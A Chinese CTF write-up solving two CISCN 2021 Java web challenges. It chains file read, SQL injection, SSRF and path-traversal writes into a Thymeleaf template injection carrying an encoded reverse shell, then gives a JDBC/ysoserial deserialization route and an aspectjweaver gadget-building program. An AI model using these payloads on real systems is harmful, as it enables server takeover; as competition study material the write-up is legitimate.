ciscn2021的两道题

ciscn2021 华北半决赛 java

注册后登录,/message会显示所有的message,而浏览方式是通过/view,然后传path参数,存在任意文件读取

请添加图片描述

tree中给了目录树

.
├── pom.xml
└── src
    └── main
        ├── java
        │   └── com
        │       └── nothing
        │           └── game
        │               ├── GameApplication.java
        │               ├── controller
        │               │   ├── AdminController.java
        │               │   ├── HomeController.java
        │               │   ├── LoginController.java
        │               │   ├── MessageController.java
        │               │   ├── RegisterController.java
        │               │   ├── StaticMethod.java
        │               │   └── UserListController.java
        │               └── model
        │                   ├── Message.java
        │                   └── User.java
        └── resources
            ├── application.properties
            ├── static
            │   ├── css
            │   ├── images
            │   ├── js
            │   └── upload
            │       └── tree
            └── templates
                └── error

/table中33行直接拼接,sqlmap直接跑

请添加图片描述

得到adminpass,登录

先看到这里/adminPost,需要本地访问

在这里插入图片描述

而上面/delayTest使用了new URL做请求,其实当初这里能直接file协议读flag。ip转成十进制绕一下就好了

在这里插入图片描述

/delayTest?url=http://2130706433:8080/adminPost%3Fmessage%3D123%26path%3D321

这样就能写文件了

在这里插入图片描述

并且这里path是直接拼接上去的

String realPath = basePath.concat("static/upload/").concat(path);

所以理论上来说可以任意文件写,前面读pom.xml可以知道有thymeleaf包

在这里插入图片描述

由于这里/view使用了@ResponseBody注解不会模板解析,所以需要覆盖templates下的html文件

payload:

/delayTest?url=http://2130706433:8080/adminPost%3Fmessage%3D%253C!DOCTYPE%2520HTML%253E%250A%253Chtml%2520xmlns%253Ath%253D%2522http%253A%252F%252Fwww.thymeleaf.org%2522%253E%250A%253Cdiv%2520th%253Afragment%253D%2522header%2522%253E%250A%2520%2520%2520%2520%253Ch3%253ESpring%2520Boot%2520Web%2520Thymeleaf%2520Example%253C%252Fh3%253E%250A%253C%252Fdiv%253E%250A%253Cdiv%2520th%253Afragment%253D%2522main%2522%253E%250A%2520%2520%2520%2520%253Cspan%2520th%253Atext%253D%2522'Hello%252C%2520'%2520%252B%2520%2524%257BT(java.lang.Runtime).getRuntime().exec('bash%2520-c%2520%257Becho%252CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIwLjAuMC4wOjEyMzQiKTtTVERJTi0+ZmRvcGVuKCRjLHIpOyR+LT5mZG9wZW4oJGMsdyk7c3lzdGVtJF8gd2hpbGU8Pjsn%257D%257C%257Bbase64%252C-d%257D%257C%257Bbash%252C-i%257D')%257D%2522%253E%253C%252Fspan%253E%250A%253C%252Fdiv%253E%250A%253C%252Fhtml%253E%26path%3D..%2F..%2Ftemplates%2Ftable.html

其中更改的模板为../../templates/table.html

<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
    <h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
    <span th:text="'Hello, ' + ${T(java.lang.Runtime).getRuntime().exec('bash -c {echo,cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIwLjAuMC4wOjEyMzQiKTtTVERJTi0+ZmRvcGVuKCRjLHIpOyR+LT5mZG9wZW4oJGMsdyk7c3lzdGVtJF8gd2hpbGU8Pjsn}|{base64,-d}|{bash,-i}')}"></span>
</div>
</html>

访问/table渲染触发

在这里插入图片描述

这里第二种方法是覆盖application.properties触发jdbc反序列化

https://landgrey.me/blog/11/

application.properties

spring.datasource.url=jdbc:mysql://x.x.x.x:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver

覆盖后在服务器起一个rogue-mysql-server.py,用Jdk8u20反序列化链生成payload.ser放到同目录下,注意windows得用cmd生成

java -jar ysoserial-0.0.8-SNAPSHOT-all.jar Jdk8u20 "bash -c {echo,cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIwLjAuMC4wOjEyMzQiKTtTVERJTi0+ZmRvcGVuKCRjLHIpOyR+LT5mZG9wZW4oJGMsdyk7c3lzdGVtJF8gd2hpbGU8Pjsn}|{base64,-d}|{bash,-i}" > payload.ser

然后在登录处触发即可

在这里插入图片描述

ciscn2021 final ezj4va

maven包中有aspectjweaver

在这里插入图片描述

但是ysoserial中的链需要配合commons-collections包来使用,先看一下普通的链

Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

HashMap.hash()开始到SimpleCache$StorableCachingMap.put()需要借助commons-collections

看一下/cart/add

在这里插入图片描述

其中接受skus和cookie['cart'],传入

Cart cart=cartService.addToCart(skus,oldCart);

在这里插入图片描述

然后分别进行反序列化,得到两个Cart对象:toAdd和cart

然后会遍历toAdd中的SkuDescribe属性,并把它放到旧的cart中。可以看到是通过skuDescribe.put进行加入,那么如果cart的SkuDescribe是SimpleCache$StorableCachingMap,就正好能导致任意文件写了

if(toAdd.getSkuDescribe()!=null){
    Map skuDescribe = cart.getSkuDescribe();
    for(Map.Entry<String,Object> entry:toAdd.getSkuDescribe().entrySet()){
        skuDescribe.put(entry.getKey(),entry.getValue());
    }
}

生成payload,两个Cart对象,其中genSkus的skuDescribe为{文件名,文件内容}的HashMap,genOldCart的skuDescribe为SimpleCache$StoreableCachingMap对象

package ciscn.fina1.ezj4va.launch;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import ciscn.fina1.ezj4va.domain.Cart;
import ciscn.fina1.ezj4va.utils.Serializer;

public class test {
    private static test main = new test();
    public static void main(String[] args) throws Exception {
        System.out.println(main.genSkus());
        System.out.println(main.genOldCart());
    }
    private String genSkus() throws Exception {
        Cart cart = new Cart();
        HashMap hashMap = new HashMap();
        String str = "yv66vgAAADQANQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsIAA4BABdTZXJpYWxpemFibGUgcmVhZE9iamVjdAoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgoAFgAXBwAYDAAZABoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsIABwBAARjYWxjCgAWAB4MAB8AIAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsHACIBABdjaXNjbi9maW5hMS9lemo0dmEvY2FsYwcAJAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABlMY2lzY24vZmluYTEvZXpqNHZhL2NhbGM7AQAKcmVhZE9iamVjdAEAHihMamF2YS9pby9PYmplY3RJbnB1dFN0cmVhbTspVgEAA29pcwEAG0xqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOwEACkV4Y2VwdGlvbnMHADABABNqYXZhL2lvL0lPRXhjZXB0aW9uBwAyAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAApTb3VyY2VGaWxlAQAJY2FsYy5qYXZhACEAIQACAAEAIwAAAAIAAQAFAAYAAQAlAAAAMwABAAEAAAAFKrcAAbEAAAACACYAAAAKAAIAAAAMAAQADQAnAAAADAABAAAABQAoACkAAAACACoAKwACACUAAABOAAIAAgAAABKyAAcSDbYAD7gAFRIbtgAdV7EAAAACACYAAAAOAAMAAAAQAAgAEQARABIAJwAAABYAAgAAABIAKAApAAAAAAASACwALQABAC4AAAAGAAIALwAxAAEAMwAAAAIANA==";
        byte[] code = Base64.getDecoder().decode(str);
        hashMap.put("calc.class",code);
        setField(cart,"skuDescribe",hashMap);
        return Serializer.serialize(cart);
    }
    private String genOldCart() throws Exception {
        Cart cart = new Cart();
        Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Constructor constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        HashMap cache = (HashMap) constructor.newInstance("E:\\DDD\\ezj4va\\target\\classes\\ciscn\\fina1\\ezj4va", 12);
        setField(cart,"skuDescribe",cache);
        return Serializer.serialize(cart);
    }
    private static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

calc.class

package ciscn.fina1.ezj4va;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class calc implements Serializable {
    public calc() {
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        System.out.println("Serializable readObject");
        Runtime.getRuntime().exec("calc");
    }
}

写入

请添加图片描述

请添加图片描述

触发

请添加图片描述

fix我只能想到deserialize函数中ban关键字了,而且当天idea正好到期,编译都编译不了。。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇